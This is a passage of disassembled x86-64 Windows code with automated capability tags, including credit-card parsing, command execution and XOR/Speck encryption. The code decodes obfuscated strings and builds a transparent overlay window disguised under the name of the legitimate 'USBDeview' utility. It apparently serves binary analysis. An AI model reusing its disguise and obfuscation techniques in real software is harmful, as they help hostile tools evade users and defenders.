Function at 0x140046420
Capabilities:
Authenticate hmac
Delete file
Encode data using xor
Encrypt data using speck
Execute command
Get session user name
Parse credit card information
Resolve function by parsing pe exports
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
mov eax, 0x9da0
call fcn.1400c5100
sub rsp, rax
movaps xmmword [rsp + 0x9d90], xmm6
movaps xmmword [rsp + 0x9d80], xmm7
movaps xmmword [rsp + 0x9d70], xmm8
movaps xmmword [rsp + 0x9d60], xmm9
movaps xmmword [rsp + 0x9d50], xmm10
movaps xmmword [rsp + 0x9d40], xmm11
movaps xmmword [rsp + 0x9d30], xmm12
movaps xmmword [rsp + 0x9d20], xmm13
movaps xmmword [rsp + 0x9d10], xmm14
movaps xmmword [rsp + 0x9d00], xmm15
lea rbp, [rsp + 0x80]
and rbp, 0xffffffffffffffe0
xor eax, eax
mov byte [rbp + 0x20], al
mov byte [rbp + 0x20], al
mov byte [rbp + 0x20], al
movabs rax, 0x7a9f306679023ddb
mov qword [rbp + 0x140], rax
mov rax, qword [rbp + 0x140]
mov qword [rbp + 0xa60], rax
movabs r13, 0xabe13b9d1595ca50
mov qword [rbp + 0x140], r13
mov rax, qword [rbp + 0x140]
mov qword [rbp + 0xa68], rax
movabs r15, 0x7afa43081c615497
mov qword [rbp + 0x140], r15
mov rax, qword [rbp + 0x140]
mov qword [rbp + 0xa70], rax
mov qword [rbp + 0x140], r13
mov rax, qword [rbp + 0x140]
mov qword [rbp + 0xa78], rax
movdqa xmm0, xmmword [rbp + 0xa60]
xorps xmm0, xmmword [rbp + 0xa70]
movdqa xmmword [rbp + 0xa60], xmm0
mov r8d, 0x40
lea rdx, [0x14038e900]
lea rcx, [rbp + 0xa60]
call fcn.140046300
mov dword [rbp + 0x168], 0x101
lea rdx, [rbp + 0x168]
lea rcx, [rbp + 0x9b60]
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea rdx, [rbp + 0x9b60]
lea rcx, [rbp + 0x2258]
call fcn.1400736b0
nop
mov dword [rbp + 0x4780], 0x50
mov dword [rbp + 0x4784], 0x40
lea rax, [0x140072520]
mov qword [rbp + 0x4788], rax
xor r14d, r14d
mov dword [rbp + 0x4790], r14d
mov dword [rbp + 0x4794], r14d
mov qword [rbp + 0x4798], r14
mov edx, 0x7f00
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadIconA]
mov qword [rbp + 0x47a0], rax
mov edx, 0x7f00
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadCursorA]
mov qword [rbp + 0x47a8], rax
mov qword [rbp + 0x47b0], r14
lea rax, str.USBDeview
mov qword [rbp + 0x47b8], rax
mov qword [rbp + 0x47c0], rax
mov edx, 0x7f00
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadIconA]
mov qword [rbp + 0x47c8], rax
lea rcx, [rbp + 0x4780]
call qword [sym.imp.USER32.dll_RegisterClassExW]
cvttss2si edi, dword [0x14038718c]
cvttss2si esi, dword [0x140387188]
mov r12d, 1
mov ecx, r12d
call qword [sym.imp.USER32.dll_GetSystemMetrics]
cdq
sub eax, edx
sar eax, 1
movd xmm1, eax
cvtdq2ps xmm1, xmm1
movss xmm0, dword [0x14038718c]
mulss xmm0, dword [0x14014df58]
subss xmm1, xmm0
cvttss2si ebx, xmm1
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetSystemMetrics]
cdq
sub eax, edx
sar eax, 1
movd xmm1, eax
cvtdq2ps xmm1, xmm1
movss xmm0, dword [0x140387188]
mulss xmm0, dword [0x14014df58]
subss xmm1, xmm0
cvttss2si eax, xmm1
mov qword [rsp + 0x58], r14
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x48], r14
mov qword [rsp + 0x40], r14
mov dword [rsp + 0x38], edi
mov dword [rsp + 0x30], esi
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], eax
mov r9d, 0x80000000
lea r8, str.USBDeview
mov rdx, qword [rbp + 0x47c0]
xor ecx, ecx
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov qword [0x14038e830], rax
movdqa xmm0, xmmword [0x14014e1a0]
movdqu xmmword [rbp + 0xa80], xmm0
lea rdx, [rbp + 0xa80]
mov rcx, rax
call qword [sym.imp.dwmapi.dll_DwmExtendFrameIntoClientArea]
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
movups xmmword [0x14038e838], xmm0
lea rdx, [0x14038e838]
mov rcx, qword [0x14038e830]
call qword [sym.imp.USER32.dll_GetWindowRect]
mov rcx, qword [0x14038e830]
call fcn.140072320
test al, al
jne 0x1400467b5
call fcn.140072450
mov rdx, qword [rbp + 0x4798]
mov rcx, qword [rbp + 0x47c0]
call qword [sym.imp.USER32.dll_UnregisterClassW]
nop
lea rcx, [rbp + 0x2258]
call fcn.140073650
mov eax, r12d
lea r11, [rsp + 0x9da0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm14, xmmword [r11 - 0x90]
movaps xmm15, xmmword [r11 - 0xa0]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov edx, 0xa
mov rcx, qword [0x14038e830]
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [0x14038e830]
call qword [sym.imp.USER32.dll_UpdateWindow]
mov qword [rsp + 0x30], 2
mov qword [rsp + 0x28], socket
mov qword [rsp + 0x20], reloc.WS2_32.dll_recv
mov edx, 0x38e8
mov r9d, 8
mov r8d, 0x464
lea rcx, str.1.90.0
call fcn.140016000
xor ecx, ecx
call fcn.140006310
call fcn.140008720
mov rsi, rax
mov qword [rbp + 0x1a0], rax
or dword [rax], 3
lea rcx, [rbp + 0x3c60]
call fcn.1400416e0
lea rcx, [rbp + 0x6cd0]
call fcn.1400263b0
mov dword [rbp + 0x6d1c], 0x10c
lea rcx, [rbp + 0x6d60]
call fcn.1400263b0
mov rbx, qword [rsi + 0x30]
mov rcx, rbx
call fcn.140029460
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x6cd0]
mov qword [rsp + 0x20], rax
movss xmm3, dword [0x14014e020]
mov r8d, 0x26368
lea rdx, [0x14035da90]
mov rcx, rbx
call fcn.140026f70
mov rbx, qword [rsi + 0x30]
mov rcx, rbx
call fcn.140029460
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x6cd0]
mov qword [rsp + 0x20], rax
movss xmm6, dword [0x14014e040]
movaps xmm3, xmm6
mov r8d, 0x954
lea rdx, [0x140265f40]
mov rcx, rbx
call fcn.140026f70
mov qword [0x14038e860], rax
mov rbx, qword [rsi + 0x30]
mov rcx, rbx
call fcn.140029460
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x6cd0]
mov qword [rsp + 0x20], rax
movss xmm8, dword [0x14014e030]
movaps xmm3, xmm8
mov r8d, 0x875dc
lea rdx, [0x1402668a0]
mov rcx, rbx
call fcn.140026f70
mov rbx, qword [rsi + 0x30]
mov rcx, rbx
call fcn.140029460
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x6cd0]
mov qword [rsp + 0x20], rax
movaps xmm3, xmm6
mov r8d, 0x28da8
lea rdx, [0x14018b0d0]
mov rcx, rbx
call fcn.140026f70
mov qword [0x14038e850], rax
mov rbx, qword [rsi + 0x30]
mov rcx, rbx
call fcn.140029460
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x6cd0]
mov qword [rsp + 0x20], rax
movss xmm7, dword [0x14014e010]
movaps xmm3, xmm7
mov r8d, 0x28da8
lea rdx, [0x14018b0d0]
mov rcx, rbx
call fcn.140026f70
mov qword [0x14038e848], rax
mov rbx, qword [rsi + 0x30]
mov rcx, rbx
call fcn.140029460
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x6cd0]
mov qword [rsp + 0x20], rax
movaps xmm3, xmm6
mov r8d, 0x13144
lea rdx, [0x1401729c0]
mov rcx, rbx
call fcn.140026f70
mov qword [0x14038e858], rax
mov rbx, qword [rsi + 0x30]
mov rcx, rbx
call fcn.140029460
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x6cd0]
mov qword [rsp + 0x20], rax
movss xmm3, dword [0x14014e04c]
mov r8d, 0x13144
lea rdx, [0x1401729c0]
mov rcx, rbx
call fcn.140026f70
mov rbx, qword [rsi + 0x30]
mov rcx, rbx
call fcn.140029460
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x6cd0]
mov qword [rsp + 0x20], rax
movss xmm3, dword [0x14014e00c]
mov r8d, 0x28da8
lea rdx, [0x14018b0d0]
mov rcx, rbx
call fcn.140026f70
mov rbx, qword [rsi + 0x30]
mov rcx, rbx
call fcn.140029460
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x6cd0]
mov qword [rsp + 0x20], rax
movaps xmm3, xmm8
mov r8d, 0xba80
lea rdx, str.OTTO
mov rcx, rbx
call fcn.140026f70
mov rbx, qword [rsi + 0x30]
mov rcx, rbx
call fcn.140029460
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x6cd0]
mov qword [rsp + 0x20], rax
movaps xmm3, xmm8
mov r8d, 0x23218
lea rdx, [0x140219670]
mov rcx, rbx
call fcn.140026f70
mov rbx, qword [rsi + 0x30]
mov rcx, rbx
call fcn.140029460
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x6cd0]
mov qword [rsp + 0x20], rax
movaps xmm3, xmm8
mov r8d, 0x55b8
lea rdx, [0x140185b10]
mov rcx, rbx
call fcn.140026f70
mov rbx, qword [rsi + 0x30]
mov rcx, rbx
call fcn.140029460
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x6cd0]
mov qword [rsp + 0x20], rax
movaps xmm3, xmm8
mov r8d, 0x32cc
lea rdx, [0x140383e00]
mov rcx, rbx
call fcn.140026f70
mov rbx, qword [rsi + 0x30]
mov rcx, rbx
call fcn.140029460
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x6cd0]
mov qword [rsp + 0x20], rax
movaps xmm3, xmm8
mov r8d, 0x2f68
lea rdx, [0x1402ede80]
mov rcx, rbx
call fcn.140026f70
lea rax, [0x1401479e0]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x6d60]
mov qword [rsp + 0x20], rax
movss xmm3, dword [0x14014e018]
mov r8d, 0x1e695
lea rdx, [0x140117960]
mov rcx, qword [rsi + 0x30]
call fcn.140027130
lea rbx, [0x14014d318]
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], r14
movss xmm3, dword [0x14014e02c]
mov r8d, 0x3934b
lea rdx, [0x1400de610]
mov rcx, qword [rsi + 0x30]
call fcn.140027130
mov qword [rbp + 0x210], rax
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], r14
movss xmm3, dword [0x14014dfe8]
mov r8d, 0x3934b
lea rdx, [0x1400de610]
mov rcx, qword [rsi + 0x30]
call fcn.140027130
mov qword [rbp + 0x178], rax
mov rcx, qword [0x14038e830]
call fcn.14003af60
mov rdx, qword [0x14038e958]
mov rcx, qword [0x14038e950]
call fcn.14003a990
movss xmm0, dword [0x14014df94]
movss dword [rsp + 0x20], xmm0
movss xmm3, dword [0x14014df60]
movss xmm2, dword [0x14014df5c]
movss xmm1, dword [0x14014df54]
lea rcx, [rbp + 0xa90]
call fcn.140001530
xor bl, bl
mov dword [rbp + 0x16c], ebx
mov byte [rbp + 0x20], bl
mov byte [rbp + 0xf3], r14b
mov edi, r12d
mov dword [0x14038e7a0], r12d
lea rcx, [rbp + 0xaa0]
call fcn.140072610
nop
lea rdx, [0x140045d00]
lea rcx, [rbp + 0xab0]
call fcn.140074420
nop
lea rcx, [rbp + 0xab0]
call fcn.14003dc80
lea rcx, [rbp + 0x180]
call fcn.14002fc30
lea r8, [0x14038e880]
lea rdx, [rbp + 0x180]
lea rcx, [rbp + 0x188]
call fcn.140039460
mov rdx, rax
lea rcx, [rbp + 0x190]
call fcn.1400744a0
mov rcx, rax
call fcn.140073460
xorps xmm14, xmm14
xorps xmm12, xmm12
movss dword [rbp + 0x170], xmm12
call fcn.140004710
mov r12d, dword [0x14016a1d8]
movdqa xmm11, xmmword [0x14014e290]
movdqa xmm13, xmmword [0x14014e300]
movdqa xmm9, xmmword [0x14014e280]
movdqa xmm8, xmmword [0x14014e430]
movdqa xmm10, xmmword [0x14014e230]
movss xmm15, dword [0x14014e044]
call fcn.1400414b0
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x3438]
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x140046df6
nop dword [rax]
lea rcx, [rbp + 0x3438]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x3438]
call qword [sym.imp.USER32.dll_DispatchMessageA]
movzx ebx, bl
cmp dword [rbp + 0x3440], 0x12
cmove ebx, edi
mov byte [rbp + 0x20], bl
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x3438]
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
jne 0x140046d40
mov dword [rbp + 0x16c], ebx
test bl, bl
je 0x140046df6
call fcn.14003ab80
call fcn.14003af70
xor ecx, ecx
call fcn.1400063f0
call fcn.140072450
mov rcx, qword [0x14038e830]
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rdx, qword [rbp + 0x4798]
mov rcx, qword [rbp + 0x47c0]
call qword [sym.imp.USER32.dll_UnregisterClassW]
nop
lea rcx, [rbp + 0xab0]
call fcn.14003dc60
nop
lea rcx, [rbp + 0xaa0]
call fcn.1400722c0
nop
lea rcx, [rbp + 0x2258]
call fcn.140073650
xor eax, eax
jmp 0x14004675c
call fcn.14003acc0
call fcn.14003bba0
call fcn.140009060
movss xmm2, dword [0x14038718c]
movss xmm1, dword [0x140387188]
lea rcx, [rbp + 0x198]
call fcn.1400014d0
mov rcx, rax
xor edx, edx
call fcn.140012980
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x7afa43081c2c02d9
mov qword [rbp + 0x138], rax
mov rax, qword [rbp + 0x138]
mov qword [rbp + 0xac0], rax
mov qword [rbp + 0x138], r13
mov rax, qword [rbp + 0x138]
mov qword [rbp + 0xac8], rax
mov qword [rbp + 0x138], r15
mov rax, qword [rbp + 0x138]
mov qword [rbp + 0xad0], rax
mov qword [rbp + 0x138], r13
mov rax, qword [rbp + 0x138]
mov qword [rbp + 0xad8], rax
movdqa xmm0, xmmword [rbp + 0xad0]
xorps xmm0, xmmword [rbp + 0xac0]
movdqa xmmword [rbp + 0xac0], xmm0
xor edx, edx
mov r8d, 0x3002b
lea rcx, [rbp + 0xac0]
call fcn.14000eed0
mov byte [rbp + 0x6480], 0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x6481], xmm0
movups xmmword [rbp + 0x6491], xmm0
movups xmmword [rbp + 0x64a1], xmm0
movups xmmword [rbp + 0x64b1], xmm0
movups xmmword [rbp + 0x64c1], xmm0
movups xmmword [rbp + 0x64d1], xmm0
movups xmmword [rbp + 0x64e1], xmm0
mov qword [rbp + 0x64f1], rax
mov dword [rbp + 0x64f9], eax
mov word [rbp + 0x64fd], ax
mov byte [rbp + 0x64ff], al
lea rcx, [rbp + 0x1a8]
call fcn.1400125f0
lea rcx, [rbp + 0x1b0]
call fcn.1400169c0
lea rcx, [rbp + 0x1b8]
call fcn.1400125f0
call fcn.1400169a0
mov dword [rsi + 0xe50], r14d
call fcn.140045c50
movss xmm0, dword [0x14014dfb0]
comiss xmm0, dword [0x14038e8b0]
jbe 0x140046f91
call fcn.140008720
movss xmm2, dword [0x14038e8b0]
addss xmm2, dword [rax + 0x10]
movss dword [0x14038e8b0], xmm2
mulss xmm2, dword [0x14014df58]
movss xmm1, dword [0x14014e170]
movaps xmm0, xmm14
call fcn.140074410
jmp 0x140046f99
movss xmm0, dword [0x14014e170]
movss dword [0x140387158], xmm0
call fcn.140012a00
mov r15, rax
mov qword [rbp + 0x138], rax
call fcn.140012a00
mov rsi, rax
mov dword [rsp + 0x20], 0xff
mov edx, reloc.WS2_32.dll_recv
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0xae0]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov edi, eax
movss xmm2, dword [0x14038718c]
movss xmm1, dword [0x140387188]
lea rcx, [rbp + 0x1c0]
call fcn.1400014d0
mov rbx, rax
movaps xmm2, xmm14
movaps xmm1, xmm14
lea rcx, [rbp + 0x1c8]
call fcn.1400014d0
mov dword [rsp + 0x28], r14d
movss xmm0, dword [0x14014e008]
movss dword [rsp + 0x20], xmm0
mov r9d, edi
mov r8, rbx
mov rdx, rax
mov rcx, rsi
call fcn.140023b20
mov rcx, qword [0x14038e790]
mov rax, qword [rcx + 0x4038]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4038]
mov rbx, qword [rax + 0x2a8]
movss xmm0, dword [0x140387188]
mulss xmm0, dword [0x14014df58]
movss dword [rbp + 0x1d0], xmm0
mov dword [rbp + 0x1d4], 0
movss xmm6, dword [0x140387158]
movdqa xmm0, xmmword [0x14014e3b0]
movups xmmword [rbp + 0xaf0], xmm0
lea rcx, [rbp + 0xaf0]
call fcn.140004280
mov dword [rbp + 0x1d8], 0
mov dword [rbp + 0x1dc], 0
mov dword [rbp + 0x1e0], 0
mov dword [rbp + 0x1e4], 0
movss dword [rsp + 0x38], xmm14
mov dword [rsp + 0x30], r14d
lea rcx, [rbp + 0x1d0]
mov qword [rsp + 0x28], rcx
movss dword [rsp + 0x20], xmm6
mov r9d, eax
lea r8, [rbp + 0x1d8]
lea rdx, [rbp + 0x1e0]
mov rcx, rbx
call fcn.1400254e0
mov dword [rbp + 0x1e8], 0
mov dword [rbp + 0x1ec], 0
mov dword [rbp + 0x1f0], 0x41200000
mov dword [rbp + 0x1f4], 0x41a00000
lea r8, [rbp + 0x1e8]
xor edx, edx
lea rcx, [rbp + 0x1f0]
call fcn.1400128f0
mov rax, qword [0x14038e790]
or dword [rax + 0x49e8], 0x40
mov dword [rax + 0x4a48], r14d
movss xmm3, dword [rbp + 0x1b8]
movaps xmm0, xmm3
addss xmm0, dword [0x14014e07c]
movss dword [rbp + 0x1f8], xmm0
movss xmm2, dword [rbp + 0x1bc]
movaps xmm1, xmm2
addss xmm1, dword [0x14014e070]
movss dword [rbp + 0x1fc], xmm1
addss xmm2, dword [0x14014e11c]
addss xmm3, dword [0x14014e150]
movss dword [rbp + 0x200], xmm3
movss dword [rbp + 0x204], xmm2
cmp dword [0x14038e7a0], 0
jne 0x1400480f1
mov rcx, qword [0x14038e850]
call fcn.140012420
mov dword [rsp + 0x20], 0xff
mov edx, 0xff
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0xb00]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov esi, eax
movss xmm1, dword [0x14014df94]
lea rcx, [0x14038ea38]
call fcn.140004750
mov edi, eax
mov dword [rsp + 0x20], 0xff
mov edx, 0xff
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0xb10]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov ebx, eax
movss xmm2, dword [0x14014e034]
movss xmm1, dword [0x14014e0d0]
lea rcx, [rbp + 0x208]
call fcn.1400014d0
movss xmm1, dword [rax]
movss xmm2, dword [rax + 4]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x7afa43453c3774d9
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xb20], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xb28], rax
movabs rax, 0x7afa43081c615497
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xb30], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xb38], rax
movdqa xmm0, xmmword [rbp + 0xb30]
xorps xmm0, xmmword [rbp + 0xb20]
movdqa xmmword [rbp + 0xb20], xmm0
movss xmm0, dword [0x14014df38]
movss dword [rsp + 0x28], xmm0
mov dword [rsp + 0x20], esi
mov r9d, edi
mov r8d, ebx
unpcklps xmm1, xmm2
movq rdx, xmm1
lea rcx, [rbp + 0xb20]
call fcn.1400328d0
call fcn.1400124c0
movss xmm2, dword [0x14014e03c]
movss xmm6, dword [0x14014e050]
movaps xmm1, xmm6
lea rcx, [rbp + 0x218]
call fcn.1400014d0
movss xmm2, dword [0x14014e06c]
movaps xmm1, xmm6
lea rcx, [rbp + 0x220]
call fcn.1400014d0
call fcn.140012a00
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x28da2e6d68122dc4
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x2280], rcx
movabs rax, 0xce8c52ef70e0bb35
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x2288], rcx
movabs rax, 0xad390a49791a5fef
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2290], rax
movabs rax, 0xf90d78d796832051
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2298], rax
movabs rsi, 0x7afa43081c615497
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x22a0], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x22a8], rax
movabs rax, 0xce5c620a59692b81
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x22b0], rax
movabs rax, 0xf90d78d79683203a
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x22b8], rax
vmovdqu ymm0, ymmword [rbp + 0x2280]
vpxor ymm1, ymm0, ymmword [rbp + 0x22a0]
vmovdqa ymmword [rbp + 0x2280], ymm1
mov dword [rsp + 0x20], 0xff
mov r9d, 0xb4
xor r8d, r8d
mov edx, 0x64
lea rcx, [rbp + 0xb40]
vzeroupper
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov ebx, eax
movss xmm2, dword [0x14014e068]
movss xmm1, dword [0x14014e0c0]
lea rcx, [rbp + 0x228]
call fcn.1400014d0
mov qword [rsp + 0x40], r14
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], r14
lea rcx, [rbp + 0x2280]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
movss xmm2, dword [0x14014e004]
mov rdx, qword [0x14038e858]
mov rcx, rdi
call fcn.140023de0
call fcn.140012a00
mov rbx, rax
mov dword [rsp + 0x20], 0xff
mov r9d, 0xff
xor r8d, r8d
mov edx, 0x46
lea rcx, [rbp + 0xb50]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
movss xmm0, dword [0x14014dfb0]
movss dword [rsp + 0x30], xmm0
mov dword [rsp + 0x28], r14d
movss xmm0, dword [0x14014dfcc]
movss dword [rsp + 0x20], xmm0
mov r9d, eax
lea r8, [rbp + 0x200]
lea rdx, [rbp + 0x1f8]
mov rcx, rbx
call fcn.140023a40
call fcn.140045980
test al, al
je 0x14004773b
call fcn.140012a00
mov rdi, rax
mov dword [rsp + 0x20], 0xff
xor r9d, r9d
xor r8d, r8d
mov edx, 0xff
lea rcx, [rbp + 0xb60]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov ebx, eax
movss xmm6, dword [0x14014e084]
movaps xmm2, xmm6
movaps xmm1, xmm6
lea rcx, [rbp + 0x230]
call fcn.1400014d0
mov qword [rsp + 0x40], r14
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], r14
lea rcx, [0x14014772c]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
movaps xmm2, xmm7
mov rdx, qword [rbp + 0x210]
mov rcx, rdi
call fcn.140023de0
call fcn.140012a00
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x5a9f317d7f0407b7
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xb70], rcx
movabs rax, 0xabe11ba761faa512
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xb78], rcx
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xb80], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xb88], rax
movdqa xmm0, xmmword [rbp + 0xb80]
xorps xmm0, xmmword [rbp + 0xb70]
movdqa xmmword [rbp + 0xb70], xmm0
mov dword [rsp + 0x20], 0xff
mov edx, 0xff
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0xb90]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov ebx, eax
movaps xmm2, xmm6
movss xmm1, dword [0x14014e09c]
lea rcx, [rbp + 0x238]
call fcn.1400014d0
mov qword [rsp + 0x40], r14
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], r14
lea rcx, [rbp + 0xb70]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
movaps xmm2, xmm7
mov rdx, qword [0x14038e858]
mov rcx, rdi
call fcn.140023de0
call fcn.140012a00
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x7a9e26647e003ad2
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xba0], rcx
mov qword [rbp + 0x10], r13
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xba8], rcx
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xbb0], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xbb8], rax
movdqa xmm0, xmmword [rbp + 0xbb0]
xorps xmm0, xmmword [rbp + 0xba0]
movdqa xmmword [rbp + 0xba0], xmm0
mov dword [rsp + 0x20], 0xff
xor r9d, r9d
xor r8d, r8d
mov edx, 0xff
lea rcx, [rbp + 0xbc0]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov ebx, eax
movaps xmm2, xmm6
movss xmm1, dword [0x14014e0e8]
lea rcx, [rbp + 0x240]
call fcn.1400014d0
lea rcx, [rbp + 0xba0]
jmp 0x140047966
call fcn.140012a00
mov rdi, rax
mov dword [rsp + 0x20], 0xff
xor r9d, r9d
xor edx, edx
mov r8d, 0x80
lea rcx, [rbp + 0xbd0]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov ebx, eax
movss xmm6, dword [0x14014e084]
movaps xmm2, xmm6
movaps xmm1, xmm6
lea rcx, [rbp + 0x248]
call fcn.1400014d0
mov qword [rsp + 0x40], r14
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], r14
lea rcx, [0x140147730]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
movaps xmm2, xmm7
mov rdx, qword [rbp + 0x210]
mov rcx, rdi
call fcn.140023de0
call fcn.140012a00
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x5a9f317d7f0407b7
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xbe0], rcx
movabs rax, 0xabe11ba761faa512
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xbe8], rcx
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xbf0], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xbf8], rax
movdqa xmm0, xmmword [rbp + 0xbf0]
xorps xmm0, xmmword [rbp + 0xbe0]
movdqa xmmword [rbp + 0xbe0], xmm0
mov dword [rsp + 0x20], 0xff
mov edx, 0xff
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0xc00]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov ebx, eax
movaps xmm2, xmm6
movss xmm1, dword [0x14014e09c]
lea rcx, [rbp + 0x250]
call fcn.1400014d0
mov qword [rsp + 0x40], r14
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], r14
lea rcx, [rbp + 0xbe0]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
movaps xmm2, xmm7
mov rdx, qword [0x14038e858]
mov rcx, rdi
call fcn.140023de0
call fcn.140012a00
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x1e9f2f6a7d123dd3
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xc10], rcx
mov qword [rbp + 0x10], r13
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xc18], rcx
mov qword [rbp + 0x10], rsi
